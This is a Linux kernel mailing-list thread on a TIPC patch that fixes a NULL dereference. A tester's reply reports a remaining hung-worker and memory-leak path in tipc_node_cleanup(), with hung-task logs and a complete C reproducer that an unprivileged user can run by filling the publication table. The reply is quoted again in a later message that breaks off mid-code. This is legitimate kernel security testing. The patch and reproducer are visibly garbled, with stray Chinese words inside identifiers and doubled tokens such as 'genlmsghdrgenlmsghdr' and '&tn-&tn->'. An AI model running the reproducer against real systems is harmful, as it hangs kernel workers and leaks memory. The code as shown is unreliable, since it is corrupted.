tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities); > +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities); > +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode); > void tipc_named_rcv(struct net *net, struct sk_buff_head *namedq, > u16 *rcv_nxt, bool *open); > void tipc_named_reinit(struct net *net); > diff --git a/net/tipc/net.c b/net/tipc/net.c > index 7e65d0b0c4a8..78418515277e 100644 > --- a/net/tipc/net.c > +++ b/net/tipc/net.c > @@ -132,13 +132,26 @@ static void tipc_net_finalize(struct net *net, u32 addr) > tipc_uaddr(&ua, TIPC_SERVICE_RANGE, TIPC_CLUSTER_SCOPE, > TIPC_NODE_STATE, addr, addr); > > + if (atomic_read(&tn-&tn->work_rescheduled)) > + goto publish; > + > if (cmpxchg(&tn-&tn->node_addr, 0, addr)) > return; > tipc_set_node_addr(net, addr); > tipc_named_reinit(net); > tipc_sk_reinit(net); > tipc_mon_reinit_self(net); > - tipc_nametbl_publish(net, &ua, &sk, addr); > + > +publish: > + if (!tipc_nametbl_publish(net, &ua, &sk, addr)) { > + tn->trial_addr = addr; > + atomic_set(&tn-&tn->work_rescheduled, 1); > + schedule_work(&tn-&tn->work); > + return; > + } > + atomic_set(&tn-&tn->work_rescheduled, 0); > + atomic_set(&tn->finalized, 1); > + wake_up_var(&tn->finalized); > } > > void tipc_net_finalize_work(struct work_struct *work) > diff --git a/net/tipc/node.c b/net/tipc/node.c > index 8e4ef2630ae4..afed72894722 100644 > --- a/net/tipc/node.c > +++ b/net/tipc/node.c > @@ -111,6 +111,8 @@ struct tipc_bclink_entry { > * @peer_net: peer's net namespace > * @peer_hash_mix: hash for this peer (FIXME) > * @crypto_rx: RX crypto handler > + * @work: work item for bulk distribution of cluster scope publications > + * @work_scheduled: flag to indicate the work has been scheduled > */ > struct tipc_node { > u32 addr; > @@ -145,6 +147,8 @@ struct tipc_node { > #ifdef CONFIG_TIPC_CRYPTO > struct tipc_crypto *crypto_rx; > #endif > + struct work_struct work; > + atomic_t work_scheduled; > }; > > /* Node FSM states and events: > @@ -393,6 +397,27 @@ static void tipc_node_write_unlock_fast(struct tipc_node *n) > write_unlock_bh(&n->lock); > } > > +static void tipc_node_down(struct tipc_node *n) > +{ > + u32 bearer_id, bearer_cnt; > + > + tipc_node_read_lock(n); > + bearer_cnt = n->link_cnt; > + tipc_node_read_unlock(n); > + for (bearer_id = 0; bearer_id < bearer_cnt; bearer_id++) > + tipc_node_link_down(n, bearer_id, false); > +} > + > +static void tipc_node_dist_bulk(struct work_struct *work) > +{ > + struct tipc_node *node = container_of(work, struct tipc_node, work); > + > + if (tipc_named_dist_cluster_scope(node->net, node->addr) < 0) > + tipc_node_down(node); > + > + tipc_node_put(node); > +} > + > static void tipc_node_write_unlock(struct tipc_node *n) > __releases(n->lock) > { > @@ -424,8 +449,23 @@ static void tipc_node_write_unlock(struct tipc_node *n) > if (flags & TIPC_NOTIFY_NODE_DOWN) > tipc_publ_notify(net, publ_list, node, n->capabilities); > > - if (flags & TIPC_NOTIFY_NODE_UP) > - tipc_named_node_up(net, node, n->capabilities); > + if (flags & TIPC_NOTIFY_NODE_UP) { > + int rc = 0; > + > + rc = tipc_named_node_up(net, node, n->capabilities); > + /* Defer bulk distribution to work queue */ > + if (rc > 0) { > + atomic_set(&n->work_scheduled, 1); > + tipc_node_get(n); > + if (!schedule_work(&n->work)) > + tipc_node_put(n); > + } else if (rc < 0) { > + /* Bring the node down to start over bulk distribution > + * when the first link is up again. > + */ > + tipc_node_down(n); > + } > + } > > if (flags & TIPC_NOTIFY_LINK_UP) { > tipc_mon_peer_up(net, node, bearer_id); > @@ -564,6 +604,8 @@ struct tipc_node *tipc_node_create(struct net *net, u32 addr, u8 *peer_id, > INIT_LIST_HEAD(&n->list); > INIT_LIST_HEAD(&n->publ_list); > INIT_LIST_HEAD(&n->conn_sks); > + INIT_WORK(&n->work, tipc_node_dist_bulk); > + atomic_set(&n->work_scheduled, 0); > skb_queue_head_init(&n->bc_entry.namedq); > skb_queue_head_init(&n->bc_entry.inputq1); > __skb_queue_head_init(&n->bc_entry.arrvq); > @@ -635,10 +677,25 @@ static void tipc_node_delete_from_list(struct tipc_node *node) > > static void tipc_node_delete(struct tipc_node *node) > { > + struct tipc_net *tn = tipc_net(node->net); > + > trace_tipc_node_delete(node, true, " "); > tipc_node_delete_from_list(node); > > timer_delete_sync(&node->timer); > + > + /* Wake up node work queue if tipc_net_finalize_work() is not > + * scheduled yet. > + */ > + if (atomic_read(&node->work_scheduled)) { > + if (!atomic_read(&tn->finalized)) { > + atomic_set(&tn->finalized, 1); > + wake_up_var(&tn->finalized); > + } > + > + cancel_work_sync(&node->work); > + } > + > tipc_node_put(node); > } > > -- > 2.43.0 Hi Tung, I tested this on v7.1-rc5 with the two-node setup (UDP bearers, node-id addressing), as an unprivileged user and as root. The original NULL deref is fixed, and the sashiko findings look addressed. But I found one path the patch misses: tipc_node_cleanup(). It removes a stale node with tipc_node_delete_from_list() directly, without the wake/cancel you added in tipc_node_delete(). If a deferred worker is still parked when the stale timer fires, the node is removed from the list while the worker is sleeping in wait_var_event(). Since the node is off the list, the wake in tipc_node_delete() can no longer reach it. The worker stays in D state and keeps its node reference, so the node struct leaks as well. This state is reachable from userspace without any kernel change: filling local_publ_count to TIPC_MAX_PUBL with node-scope binds makes tipc_net_finalize()'s publish fail, and the work_rescheduled retry then keeps finalized at 0, so the link-up defers the worker for as long as the table stays full. (The retry also也重试 busy-loops, printing "tipc: Bind failed, max limit 65535 reached" each round.) Bringing the link down makes the peer node go stale NODE_CLEANUP_AFTER (300s) later, with the worker still parked. The hung task watchdog flags it: ``` [ 370.440401] INFO: task kworker/0:0:9 blocked for more than 245 seconds. [ 370.441580] Workqueue: events tipc_node_dist_bulk [ 370.442803] Call Trace: [ 370.443151] __schedule+0x18bf/0x4680 [ 370.444293] tipc_named_dist_cluster_scope+0x1a0/0x220 [ 370.446076] tipc_node_dist_bulk+0x6d/0x1b0 [ 370.446218] process_one_work+0x845/0x1a60 ``` With a test-only marker printk in tipc_node_cleanup() I can see the stale timer remove both nodes at ~368s and ~375s, i.e. while the workers above are still parked. Nothing wakes them on that path; in this run they only exit because killing the reproducer closes the bind sockets, so the next retry's publish succeeds. With a persistent failure source (e.g. memory pressure) the worker would stay parked across the netns teardown as well. ``` [ 247.560544] INFO: task kworker/0:0:9 blocked for more than 122 seconds. [ 247.568089] INFO: task kworker/0:2:67 blocked for more than 122 seconds. [ 370.440401] INFO: task kworker/0:0:9 blocked for more than 245 seconds. [ 370.441580] Workqueue: events tipc_node_dist_bulk [ 370.442803] Call Trace: [ 370.443151] __schedule+0x18bf/0x4680 [ 370.444293] tipc_named_dist_cluster_scope+0x1a0/0x220 ← wait_var_event 睡眠点 [ 370.446076] tipc_node_dist_bulk+0x6d/0x1b0 [ 370.446218] process_one_work+0x845/0x1a60 ``` The Configs and reproducer ： ``` CONFIG_TIPC=y, CONFIG_TIPC_MEDIA_UDP=y, CONFIG_USER_NS=y, CONFIG_NET_NS=y, CONFIG_KASAN=y (crash on the unpatched kernel), CONFIG_DETECT_HUNG_TASK=y ``` ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sched.h> #include <fcntl.h> #include <signal.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/socket.h> #include <arpa/inet.h> #include <net/if.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/genetlink.h> #include <linux/if_link.h> #include <linux/veth.h> #include <linux/tipc.h> #ifndef AF_TIPC #define AF_TIPC 30 #endif #ifndef SOCK_RDM #define SOCK_RDM 4 #endif #ifndef VETH_INFO_PEER #define VETH_INFO_PEER 1 #endif #define TIPC_GENL_V2_NAME "TIPCv2" enum { TIPC_NL_UNSPEC, TIPC_NL_LEGACY, TIPC_NL_BEARER_DISABLE, TIPC_NL_BEARER_ENABLE, TIPC_NL_BEARER_GET, TIPC_NL_BEARER_SET, TIPC_NL_SOCK_GET, TIPC_NL_PUBL_GET, TIPC_NL_LINK_GET, TIPC_NL_LINK_SET, TIPC_NL_LINK_RESET_STATS, TIPC_NL_MEDIA_GET, TIPC_NL_MEDIA_SET, TIPC_NL_NODE_GET, TIPC_NL_NET_GET, TIPC_NL_NET_SET, }; enum { TIPC_NLA_UNSPEC, TIPC_NLA_BEARER, TIPC_NLA_SOCK, TIPC_NLA_PUBL, TIPC_NLA_LINK, TIPC_NLA_MEDIA, TIPC_NLA_NODE, TIPC_NLA_NET, }; enum { TIPC_NLA_BEARER_UNSPEC, TIPC_NLA_BEARER_NAME, TIPC_NLA_BEARER_PROP, TIPC_NLA_BEARER_DOMAIN, TIPC_NLA_BEARER_UDP_OPTS, }; enum { TIPC_NLA_UDP_UNSPEC, TIPC_NLA_UDP_LOCAL, TIPC_NLA_UDP_REMOTE, TIPC_NLA_UDP_MULTI_REMOTEIP, }; enum { TIPC_NLA_NET_UNSPEC, TIPC_NLA_NET_ID, TIPC_NLA_NET_ADDR, TIPC_NLA_NET_NODEID, TIPC_NLA_NET_NODEID_W1, }; #define TIPC_UDP_PORT 6118 #define NLA_ALIGNTO 4 #define MY_NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1)) static int tipc_family; static int nl_open(int protocol) { int fd = socket(AF_NETLINK, SOCK_RAW, protocol); if (fd < 0) { perror("socket(NETLINK)"); exit(1); } struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind(NETLINK)"); exit(1); } return fd; } static void *nla_put(char *buf, int *off, int type, const void *data, int len) { struct nlattr *a = (struct nlattr *)(buf + *off); a->nla_type = type; a->nla_len = NLA_HDRLEN + len; if (len) memcpy((char *)a + NLA_HDRLEN, data, len); *off += MY_NLA_ALIGN(a->nla_len); return a; } static struct nlattr *nla_nest_start(char *buf, int *off, int type) { struct nlattr *a = (struct nlattr *)(buf + *off); a->nla_type = type | NLA_F_NESTED; *off += NLA_HDRLEN; return a; } static void nla_nest_end(char *buf, int *off, struct nlattr *start) { start->nla_len = (buf + *off) - (char *)start; } static int genl_resolve_family(int fd, const char *name) { char buf[1024]; memset(buf, 0, sizeof(buf)); struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr *)NLMSG_DATA(nlh); int off = NLMSG_HDRLEN + GENL_HDRLEN; nlh->nlmsg_type = GENL_ID_CTRL; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = 1; gh->cmd = CTRL_CMD_GETFAMILY; gh->version = 1; nla_put(buf, &off, CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1); nlh->nlmsg_len = off; if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send genl resolve"); exit(1); } char rbuf[4096]; int n = recv(fd, rbuf, sizeof(rbuf), 0); if (n < 0) { perror("recv genl resolve"); exit(1); } struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; if (rh->nlmsg_type == NLMSG_ERROR) return -1; struct nlattr *a = (struct nlattr *)((char *)NLMSG_DATA(rh) + GENL_HDRLEN); int alen阿伦 = rh->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN; while (alen > 0) { if (a->nla_type == CTRL_ATTR_FAMILY_ID) return *(uint16_t *)((char *)a + NLA_HDRLEN); int step = MY_NLA_ALIGN(a->nla_len); alen -= step; a = (struct nlattr *)((char *)a + step); } return -1; } static int nl_recv_ack(int fd, const char *what) { char rbuf[8192]; int n = recv(fd, rbuf, sizeof(rbuf), 0); if (n < 0) { fprintf(stderr, "recv ack (%s): %s\n", what, strerror(errno)); return -1; } struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; if (rh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(rh); if (e->error != 0) fprintf(stderr, "[%s] netlink error: %d (%s)\n", what, e->error, strerror(-e->error)); return e->error; } return 0; } static void *rta_put(char *buf, int *off, int type, const void *data, int len) { struct rtattr *a = (struct rtattr *)(buf + *off); a->rta_type = type; a->rta_len = RTA_LENGTH(len); if (len) memcpy(RTA_DATA(a), data, len); *off += RTA_ALIGN(a->rta_len); return a; } static struct rtattr *rta_nest(char *buf, int *off, int type) { struct rtattr *a = (struct rtattr *)(buf + *off); a->rta_type = type | NLA_F_NESTED; *off += RTA_LENGTH(0); return a; } static void rta_nest_end(char *buf, int *off, struct rtattr *start) { start->rta_len = (buf + *off) - (char *)start; } static void create_veth(int fd, const char *n0, const char *n1, int peer_nsfd) { char buf[2048]; memset(buf, 0, sizeof(buf)); struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct ifinfomsg *ifi = NLMSG_DATA(nlh); int off = NLMSG_HDRLEN + sizeof(*ifi); nlh->nlmsg_type = RTM_NEWLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; nlh->nlmsg_seq = 10; ifi->ifi_family = AF_UNSPEC; rta_put(buf, &off, IFLA_IFNAME, n0, strlen(n0) + 1); struct rtattr *linfo = rta_nest(buf, &off, IFLA_LINKINFO); rta_put(buf, &off, IFLA_INFO_KIND, "veth", 5); struct rtattr *idata = rta_nest(buf, &off, IFLA_INFO_DATA); struct rtattr *peer = rta_nest(buf, &off, VETH_INFO_PEER); struct ifinfomsg *pifi = (struct ifinfomsg *)(buf + off); memset(pifi, 0, sizeof(*pifi)); off += sizeof(*pifi); rta_put(buf, &off, IFLA_IFNAME, n1, strlen(n1) + 1); rta_put(buf, &off, IFLA_NET_NS_FD, &peer_nsfd, sizeof(peer_nsfd)); rta_nest_end(buf, &off, peer); rta_nest_end(buf, &off, idata); rta_nest_end(buf, &off, linfo); nlh->nlmsg_len = off; if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send veth"); exit(1); } int e = nl_recv_ack(fd, "create_veth"); if (e && e != -EEXIST) { fprintf(stderr, "veth create failed: %d\n", e); exit(1); } } static void set_if_up(int fd, const char *name) { char buf[512]; memset(buf, 0, sizeof(buf)); struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct ifinfomsg *ifi = NLMSG_DATA(nlh); int off = NLMSG_HDRLEN + sizeof(*ifi); nlh->nlmsg_type = RTM_NEWLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = 20; ifi->ifi_family = AF_UNSPEC; ifi->ifi_index = if_nametoindex(name); ifi->ifi_flags = IFF_UP; ifi->ifi_change = IFF_UP; nlh->nlmsg_len = off; if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send up"); exit(1); } nl_recv_ack(fd, "set_if_up"); } static void add_ipv4(int fd, const char *name, const char *ip, int prefix) { char buf[512]; memset(buf, 0, sizeof(buf)); struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct ifaddrmsg *ifa = NLMSG_DATA(nlh); int off = NLMSG_HDRLEN + sizeof(*ifa); nlh->nlmsg_type = RTM_NEWADDR; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_REPLACE; nlh->nlmsg_seq = 30; ifa->ifa_family = AF_INET; ifa->ifa_prefixlen = prefix; ifa->ifa_scope = 0; ifa->ifa_index = if_nametoindex(name); struct in_addr a; inet_pton(AF_INET, ip, &a); rta_put(buf, &off, IFA_LOCAL, &a, 4); rta_put(buf, &off, IFA_ADDRESS, &a, 4); nlh->nlmsg_len = off; if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send addr"); exit(1); } nl_recv_ack(fd, "add_ipv4"); } static void tipc_set_node_id(int fd, uint64_t w0, uint64_t w1) { char buf[1024]; memset(buf, 0, sizeof(buf)); struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr *)NLMSG_DATA(nlh); int off = NLMSG_HDRLEN + GENL_HDRLEN; nlh->nlmsg_type = tipc_family; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = 40; gh->cmd = TIPC_NL_NET_SET; gh->version = 1; struct nlattr *net = nla_nest_start(buf, &off, TIPC_NLA_NET); nla_put(buf, &off, TIPC_NLA_NET_NODEID, &w0, sizeof(w0)); nla_put(buf, &off, TIPC_NLA_NET_NODEID_W1, &w1, sizeof(w1)); nla_nest_end(buf, &off, net); nlh->nlmsg_len = off; if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send net_set"); exit(1); } int e = nl_recv_ack(fd, "tipc_set_node_id"); if (e) fprintf(stderr, "net_set(nodeid) returned %d\n", e); } static void put_sockaddr_storage_v4(char *buf, int *off, int type, const char *ip, int port) { struct sockaddr_storage ss; memset(&ss, 0, sizeof(ss)); struct sockaddr_in *sin = (struct sockaddr_in *)&ss; sin->sin_family = AF_INET; sin->sin_port = htons(port); inet_pton(AF_INET, ip, &sin->sin_addr); nla_put(buf, off, type, &ss, sizeof(ss)); } static void tipc_udp_bearer(int fd, int cmd, const char *bname, const char *local_ip, const char *remote_ip) { char buf[2048]; memset(buf, 0, sizeof(buf)); struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr *)NLMSG_DATA(nlh); int off = NLMSG_HDRLEN + GENL_HDRLEN; nlh->nlmsg_type = tipc_family; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = 50; gh->cmd = cmd; gh->version = 1; struct nlattr *bearer = nla_nest_start(buf, &off, TIPC_NLA_BEARER); nla_put(buf, &off, TIPC_NLA_BEARER_NAME, bname名称, strlen(bname名称) + 1); if (cmd == TIPC_NL_BEARER_ENABLE) { struct nlattr *udp = nla_nest_start(buf, &off, TIPC_NLA_BEARER_UDP_OPTS); put_sockaddr_storage_v4(buf, &off, TIPC_NLA_UDP_LOCAL, local_ip, TIPC_UDP_PORT); put_sockaddr_storage_v4(buf, &off, TIPC_NLA_UDP_REMOTE, remote_ip, TIPC_UDP_PORT); nla_nest_end(buf, &off, udp); } nla_nest_end(buf, &off, bearer); nlh->nlmsg_len = off; if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send bearer"); exit(1); } int e = nl_recv_ack(fd, "tipc_udp_bearer"); if (e) fprintf(stderr, "bearer cmd %d (%s) returned %d\n", cmd, bname名称, e); } static int write_file(const char *path, const char *val) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int r = write(fd, val, strlen(val)); close(fd); return r; } static int bindfill_node_scope(int target) { int fd = socket(AF_TIPC, SOCK_RDM, 0); if (fd < 0) { perror("socket(AF_TIPC)"); exit(1); } int ok = 0, fail = 0; for (int i = 0; i < target + 1000; i++) { struct sockaddr_tipc sa; memset(&sa, 0, sizeof(sa)); sa.family = AF_TIPC; sa.addrtype = TIPC_SERVICE_ADDR; sa.scope = TIPC_NODE_SCOPE; sa.addr.nameseq.type = 100000 + i; sa.addr.nameseq.lower = 100000 + i; sa.addr.nameseq.upper = 100000 + i; if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) == 0) { ok++; fail = 0; } else if (++fail > 100) { break; } } fprintf(stderr, "[*] bound %d node-scope publications (cap reached)\n", ok); if (ok < 65000) { fprintf(stderr, "bindfill shortfall\n"); exit(1); } return fd; } static void child_main(int sync_rd, int sync_wr) { char c; write(sync_wr, "R", 1); if (read(sync_rd, &c, 1) != 1) _exit(1); int rfd = nl_open(NETLINK_ROUTE); set_if_up(rfd, "lo"); set_if_up(rfd, "veth1"); add_ipv4(rfd, "veth1", "10.0.0.2", 24); int gfd = nl_open(NETLINK_GENERIC); tipc_family = genl_resolve_family(gfd, TIPC_GENL_V2_NAME); if (tipc_family < 0) _exit(1); int bfd = bindfill_node_scope(65535); tipc_set_node_id(gfd, 0x2222222222222222ULL, 0x2222222222222222ULL); tipc_udp_bearer(gfd, TIPC_NL_BEARER_ENABLE, "udp:b1", "10.0.0.2", "10.0.0.1"); write(sync_wr, "C", 1); sleep(35); tipc_udp_bearer(gfd, TIPC_NL_BEARER_DISABLE, "udp:b1", NULL, NULL); fprintf(stderr, "[child] b1 disabled, keeping it down\n"); (void)bfd; for (;;) pause(); } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); uid_t uid = getuid(); gid_t gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) { write_file("/proc/self/setgroups", "deny"); char m[64]; snprintf(m, sizeof(m), "0 %d 1", uid); write_file("/proc/self/uid_map", m); snprintf(m, sizeof(m), "0 %d 1", gid); write_file("/proc/self/gid_map", m); } else if (unshare(CLONE_NEWNET) < 0) { perror("unshare"); return 1; } int p2c[2], c2p[2]; if (pipe(p2c) < 0 || pipe(c2p) < 0) { perror("pipe"); return 1; } pid_t pid = fork(); if (pid == 0) { close(p2c[1]); close(c2p[0]); if (unshare(CLONE_NEWNET) < 0) _exit(1); child_main(p2c[0], c2p[1]); _exit(0); } close(p2c[0]); close(c2p[1]); char c; if (read(c2p[0], &c, 1) != 1) { fprintf(stderr, "child not ready\n"); return 1; } char nspath[64]; snprintf(nspath, sizeof(nspath), "/proc/%d/ns/net", pid); int nsfd = open(nspath, O_RDONLY); if (nsfd < 0) { perror("open ns"); return 1; } int rfd = nl_open(NETLINK_ROUTE); create_veth(rfd, "veth0", "veth1", nsfd); close(nsfd); set_if_up(rfd, "lo"); set_if_up(rfd, "veth0"); add_ipv4(rfd, "veth0", "10.0.0.1", 24); write(p2c[1], "G", 1); int gfd = nl_open(NETLINK_GENERIC); tipc_family = genl_resolve_family(gfd, TIPC_GENL_V2_NAME); if (tipc_family < 0) return 1; int bfd = bindfill_node_scope(65535); tipc_set_node_id(gfd, 0x1111111111111111ULL, 0x1111111111111111ULL); if (read(c2p[0], &c, 1) != 1) fprintf(stderr, "child config sync missed\n"); tipc_udp_bearer(gfd, TIPC_NL_BEARER_ENABLE, "udp:b0", "10.0.0.1", "10.0.0.2"); fprintf(stderr, "[*] nodes configured; waiting for stale cleanup\n"); (void)bfd; sleep(400); kill(pid, SIGKILL); waitpid(pid, NULL, 0); fprintf(stderr, "[*] done\n"); return 0; } ``` Do you think tipc_node_cleanup() should go through the same wake logic as tipc_node_delete()? Happy to test the next version. Thanks, Weiming ^ permalink raw reply [flat|nested] 14+ messages in thread
* RE: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list 2026-07-21 3:06 ` Weiming Shi @ 2026-07-21 3:24 ` Tung Quang Nguyen 2026-07-27 10:30 ` Weiming Shi 0 siblings, 1 reply; 14+ messages in thread From: Tung Quang Nguyen @ 2026-07-21 3:24 UTC (permalink / raw) To: Weiming Shi Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev, tipc-discussion >Subject: Re: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() >on empty publication list > >Hi Tung, > >I tested this on v7.1-rc5 with the two-node setup (UDP bearers, node-id >addressing), as an unprivileged user and as root. >The original NULL deref is fixed, and the sashiko findings look addressed. > >But I found one path the patch misses: tipc_node_cleanup(). It removes a stale >node with tipc_node_delete_from_list() directly, without the wake/cancel you >added in tipc_node_delete(). If a deferred worker is still parked when the stale >timer fires, the node is removed from the list while the worker is sleeping in >wait_var_event(). Since the node is off the list, the wake in tipc_node_delete() >can no longer reach it. The worker stays in D state and keeps its node >reference, so the node struct leaks as well. > >This state is reachable from userspace without any kernel change: >filling local_publ_count to TIPC_MAX_PUBL with node-scope binds makes >tipc_net_finalize()'s publish fail, and the work_rescheduled retry then keeps >finalized at 0, so the link-up defers the worker for as long as the table stays full. >(The retry also也重试 busy-loops, printing "tipc: Bind failed, max limit 65535 >reached" each round.) Bringing the link down makes the peer node go stale >NODE_CLEANUP_AFTER (300s) later, with the worker still parked. >The hung task watchdog flags it: > >``` > [ 370.440401] INFO: task kworker/0:0:9 blocked for more than 245 seconds. > [ 370.441580] Workqueue: events tipc_node_dist_bulk > [ 370.442803] Call Trace: > [ 370.443151] __schedule+0x18bf/0x4680 > [ 370.444293] tipc_named_dist_cluster_scope+0x1a0/0x220 > [ 370.446076] tipc_node_dist_bulk+0x6d/0x1b0 > [ 370.446218] process_one_work+0x845/0x1a60 ``` > >With a test-only marker printk in tipc_node_cleanup() I can see the stale timer >remove both nodes at ~368s and ~375s, i.e. while the workers above are still >parked. Nothing wakes them on that path; in this run they only exit because >killing the reproducer closes the bind sockets, so the next retry's publish >succeeds. With a persistent failure source (e.g. memory >pressure) the worker would stay parked across the netns teardown as well. > > >``` >[ 247.560544] INFO: task kworker/0:0:9 blocked for more than 122 seconds. > [ 247.568089] INFO: task kworker/0:2:67 blocked for more than 122 >seconds. > > [ 370.440401] INFO: task kworker/0:0:9 blocked for more than 245 seconds. > [ 370.441580] Workqueue: events tipc_node_dist_bulk > [ 370.442803] Call Trace: > [ 370.443151] __schedule+0x18bf/0x4680 > [ 370.444293] tipc_named_dist_cluster_scope+0x1a0/0x220 ← >wait_var_event 睡眠点 > [ 370.446076] tipc_node_dist_bulk+0x6d/0x1b0 > [ 370.446218] process_one_work+0x845/0x1a60 > >``` > > >The Configs and reproducer ： >``` >CONFIG_TIPC=y, >CONFIG_TIPC_MEDIA_UDP=y, CONFIG_USER_NS=y, CONFIG_NET_NS=y, >CONFIG_KASAN=y (crash on the unpatched kernel), >CONFIG_DETECT_HUNG_TASK=y ``` > >```c >#define _GNU_SOURCE >#include <stdio.h> >#include <stdlib.h> >#include <string.h> >#include <unistd.h> >#include <errno.h> >#include <sched.h> >#include <fcntl.h> >#include <signal.h> >#include <sys/types.h> >#include <sys/wait.h> >#include <sys/socket.h> >#include <arpa/inet.h> >#include <net/if.h> >#include <linux/netlink.h> >#include <linux/rtnetlink.h> >#include <linux/genetlink.h> >#include <linux/if_link.h> >#include <linux/veth.h> >#include <linux/tipc.h> > >#ifndef AF_TIPC >#define AF_TIPC 30 >#endif >#ifndef SOCK_RDM >#define SOCK_RDM 4 >#endif > >#ifndef VETH_INFO_PEER >#define VETH_INFO_PEER 1 >#endif > >#define TIPC_GENL_V2_NAME "TIPCv2" > >enum { > TIPC_NL_UNSPEC, > TIPC_NL_LEGACY, > TIPC_NL_BEARER_DISABLE, > TIPC_NL_BEARER_ENABLE, > TIPC_NL_BEARER_GET, > TIPC_NL_BEARER_SET, > TIPC_NL_SOCK_GET, > TIPC_NL_PUBL_GET, > TIPC_NL_LINK_GET, > TIPC_NL_LINK_SET, > TIPC_NL_LINK_RESET_STATS, > TIPC_NL_MEDIA_GET, > TIPC_NL_MEDIA_SET, > TIPC_NL_NODE_GET, > TIPC_NL_NET_GET, > TIPC_NL_NET_SET, >}; > >enum { > TIPC_NLA_UNSPEC, > TIPC_NLA_BEARER, > TIPC_NLA_SOCK, > TIPC_NLA_PUBL, > TIPC_NLA_LINK, > TIPC_NLA_MEDIA, > TIPC_NLA_NODE, > TIPC_NLA_NET, >}; > >enum { > TIPC_NLA_BEARER_UNSPEC, > TIPC_NLA_BEARER_NAME, > TIPC_NLA_BEARER_PROP, > TIPC_NLA_BEARER_DOMAIN, > TIPC_NLA_BEARER_UDP_OPTS, >}; > >enum { > TIPC_NLA_UDP_UNSPEC, > TIPC_NLA_UDP_LOCAL, > TIPC_NLA_UDP_REMOTE, > TIPC_NLA_UDP_MULTI_REMOTEIP, >}; > >enum { > TIPC_NLA_NET_UNSPEC, > TIPC_NLA_NET_ID, > TIPC_NLA_NET_ADDR, > TIPC_NLA_NET_NODEID, > TIPC_NLA_NET_NODEID_W1, >}; > >#define TIPC_UDP_PORT 6118 >#define NLA_ALIGNTO 4 >#define MY_NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - >1)) > >static int tipc_family; > >static int nl_open(int protocol) >{ > int fd = socket(AF_NETLINK, SOCK_RAW, protocol); > if (fd < 0) { perror("socket(NETLINK)"); exit(1); } > struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; > if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { > perror("bind(NETLINK)"); exit(1); > } > return fd; >} > >static void *nla_put(char *buf, int *off, int type, const void *data, int len) { > struct nlattr *a = (struct nlattr *)(buf + *off); > a->nla_type = type; > a->nla_len = NLA_HDRLEN + len; > if (len) > memcpy((char *)a + NLA_HDRLEN, data, len); > *off += MY_NLA_ALIGN(a->nla_len); > return a; >} > >static struct nlattr *nla_nest_start(char *buf, int *off, int type) { > struct nlattr *a = (struct nlattr *)(buf + *off); > a->nla_type = type | NLA_F_NESTED; > *off += NLA_HDRLEN; > return a; >} > >static void nla_nest_end(char *buf, int *off, struct nlattr *start) { > start->nla_len = (buf + *off) - (char *)start; } > >static int genl_resolve_family(int fd, const char *name) { > char buf[1024]; > memset(buf, 0, sizeof(buf)); > struct nlmsghdr *nlh = (struct nlmsghdr *)buf; > struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr >*)NLMSG_DATA(nlh); > int off = NLMSG_HDRLEN + GENL_HDRLEN; > > nlh->nlmsg_type = GENL_ID_CTRL; > nlh->nlmsg_flags = NLM_F_REQUEST; > nlh->nlmsg_seq = 1; > gh->cmd = CTRL_CMD_GETFAMILY; > gh->version = 1; > nla_put(buf, &off, CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1); > nlh->nlmsg_len = off; > > if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send genl resolve"); >exit(1); } > > char rbuf[4096]; > int n 